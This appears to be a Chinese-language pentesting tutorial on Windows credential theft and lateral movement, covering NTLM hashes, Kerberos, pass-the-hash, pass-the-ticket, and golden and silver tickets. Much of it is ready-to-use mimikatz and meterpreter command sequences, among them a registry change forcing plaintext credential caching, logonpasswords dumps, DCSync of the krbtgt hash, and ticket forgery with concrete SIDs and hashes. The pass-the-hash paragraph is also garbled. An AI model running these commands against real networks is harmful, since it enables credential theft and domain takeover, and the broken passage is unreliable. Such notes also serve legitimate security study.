HASH
在 Windows 中是不会保存明文密码的,只会保存密码的哈希值。 其中本机用户的密码哈希是放在 本地的 SAM 文件 里面,域内用户的密码哈希是存在域控的 NTDS.dit 文件 里面。在渗透测试中,通常可从 Windows 系统中的 SAM 文件和域控的 NTDS.dit 文件中导出所有用户的Hash。
LM Hash(LAN Manager Hash)是 Windows 最早使用的加密算法,由 IBM 设计,其本质是 DES 加密,由于使用的 DES 算法,因此它的 KEY 是固定的,同时结合一些其他特性导致 LM Hash 加密算法较为脆弱,因此微软在 1993 年在 NT 3.1 中引入了 NTLM 协议。
NTLM Hash 是基于 MD4 的加密算法,个人版从 Vista 以后,服务版从 Windows Server 2003 以后,系统的认证方式都采用了 NTLM Hash,为了兼容性,微软也只是把 LM Hash 禁用了,只启用了 NTLM Hash.
在 Windows Vista 和 Windows Server 2003 及之前的系统默认使用的是 LM 加密,只有用户密码超过 14 位时才会使用 NTLM 加密,之后从 Vista 的系统开始,不再使用 LM Hash 加密,而是全部采用了 NTLM Hash 加密
PTH
哈希传递(pass the hash),利用哈希去在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文,因此此时往往会使用工具将哈希值传递到其他计算机中进行登录验证。NTLM Hash陆内网中的其它机器,而不是通过明文登陆的方式。通过哈希攻击攻击者就不需要花费太多时间破解哈希值。
在目标主机上使用 mimikatz 获取 NTLM Hash
当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
privilege::debug
sekurlsa::logonpasswords
在远程主机上以管理员权限打开 mimikatz
privilege::debug
sekurlsa::pth /user:administrator /domain:domain /ntlm:161cff084477fe596a5db81874498a24
sekurlsa::pth /user:用户名 /domain:域名 /ntlm:密码哈希
成功,此时会自动弹出一个新的cmd窗口,这时访问远程主机或服务,就不用提供明文密码了
PTT
简介
票据传递(pass the ticket),PTT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法。PTH基于NTLM认证进行攻击,而PTT
基于kerberos
协议进行攻击票据传递攻击,目的是伪造、窃取凭据提升权限
Kerberos 协议
Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。
简要大概地说一下Kerberos是如何工作的:
1. 假设你要在一台电脑上访问另一个服务器(你可以发送telnet或类似的登录请求)。你知道服务器要接受你的请求必须要有一张Kerberos的“入场券”。
2. 要得到这张入场券,你首先要向验证服务器(AS)请求验证。验证服务器会创建基于你的密码(从你的用户名而来)的一个“会话密钥”(就是一个加密密钥),并产生一个代表请求的服务的随机值。这个会话密钥就是“允许入场的入场券”。
3. 然后,你把这张允许入场的入场券发到授权服务器(TGS)。TGS物理上可以和验证服务器是同一个服务器,只不过它现在执行的是另一个服务。TGS返回一张可以发送给请求服务的服务器的票据。
4. 服务器或者拒绝这张票据,或者接受这张票据并执行服务。
5. 因为你从TGS收到的这张票据是打上时间戳的,所以它允许你在某个特定时期内(一般是八小时)不用再验证就可以使用同一张票来发出附加的请求。使这张票拥有一个有限的有效期使其以后不太可能被其他人使用。
协议的安全主要依赖于参加者对时间的松散同步和短周期的叫做Kerberos票据的认证声明。 下面是对这个协议的一个简化描述,将使用以下缩写:
AS(Authentication Server)= 认证服务器
KDC(Key Distribution Center)= 密钥分发中心
TGT(Ticket Granting Ticket)= 票据授权票据,票据的票据
TGS(Ticket Granting Server)= 票据授权服务器
SS(Service Server)= 特定服务提供端
客户端用户发送自己的用户名到KDC服务器以向AS服务进行认证。KDC服务器会生成相应的TGT票据,打上时间戳,在本地数据库中查找该用户的密码,并用该密码对TGT进行加密,将结果发还给客户端用户。该操作仅在用户登录或者kinit申请的时候进行。 客户端收到该信息,并使用自己的密码进行解密之后,就能得到TGT票据了。这个TGT会在一段时间之后失效,也有一些程序(session manager)能在用户登陆期间进行自动更新。 当客户端用户需要使用一些特定服务(Kerberos术语中用”principal”表示)的时候,该客户端就发送TGT到KDC服务器中的TGS服务。当该用户的TGT验证通过并且其有权访问所申请的服务时,TGS服务会生成一个该服务所对应的ticket和session key,并发还给客户端。客户端将服务请求与该ticket一并发送给相应的服务端即可。具体的流程请看下面的描述。
黄金票据
- 需要与DC通信
- 需要krbtgt用户的Hash(KDC Hash)
域中有一个特殊用户叫做krbtgt,该用户是用于Kerberos身份验证的帐户,获得了该用户的hash,就可以伪造票据进行票据传递
域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的,因此只要获取到krbtgt的密码Hash,就可以随意伪造Ticket,进而使用Ticket登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket。
获取krbtgt用户哈希
- DCSync (mimikatz)
mimikatz 会模拟域控,向目标域控请求账号密码信息。 这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。
lsadump::dcsync /user:krbtgt
或者在 meterpreter 中使用 kiwi 扩展
dcsync_ntlm krbtgt
- LSA(mimikatz)
mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取
privilege::debug
lsadump::lsa /inject /name:krbtgt
- Hashdump(Meterpreter)
hashdump
伪造黄金票据
使用meterpreter中的kiwi模块
load kiwi
golden_ticket_create -d <域名> -u <任意用户名> -s <Domain SID> -k <krbtgt NTLM Hash> -t <ticket本地存储路径如:/tmp/krbtgt.ticket>
golden_ticket_create -d de1ay.com -u test -s S-1-5-21-2756371121-2868759905-3853650604 -k 82dfc71b72a11ef37d663047bc2088fb -t /tmp/krbtgt.ticket
把伪造的票据注入到内存
kerberos_ticket_use /tmp/krbtgt.ticket
这样就访问到域内其他机器的文件了
使用mimikatz
使用mimikatz伪造黄金票据
进入mimikatz交互页面,然后先查看当前票据
kerberos::list
查看之后如果有票据的话可以先给他清空
kerberos::purge
然后利用前面获取到的krbtgt的哈希值
来生成黄金票据,并注入内存
kerberos::golden /admin:Administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:Administrator.kiribi
传递票据并注入内存
kerberos::ptt Administrator.kiribi
白银票据
白银票据不与密钥分发中心 KDC 交互,因此没有了 Kerberos 认证协议里的前 4 步,通过伪造的票据授予服务 TGS 生成伪造的服务票据 ST 直接与服务器 Server 进行交互。
特点:
- 无需与KDC交互
- 需要目标Server的NTLM Hash
获取sever HASH
mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt
伪造 CIFS 服务权限
kerberos::list #列出票据
kerberos::purge # 清除票据
伪造票据
mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit
伪造 LDAP 服务权限
首先判断当前权限是否可以使用 dcsync 域控进行同步
.\mimikatz.exe "lsadump::dcsync /dc:dc /domain:teamssix.com /user:krbtgt" exit
如果返回 ERROR 说明当前权限不能进行 dcsync 操作
接下来生成 LDAP 服务的白银票据
.\mimikatz.exe "kerberos::golden /user:t /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /target:dc /rc4:ef9e49a41feaa171f642016fd4cb7e7a /service:ldap /ptt" exit
参考文章: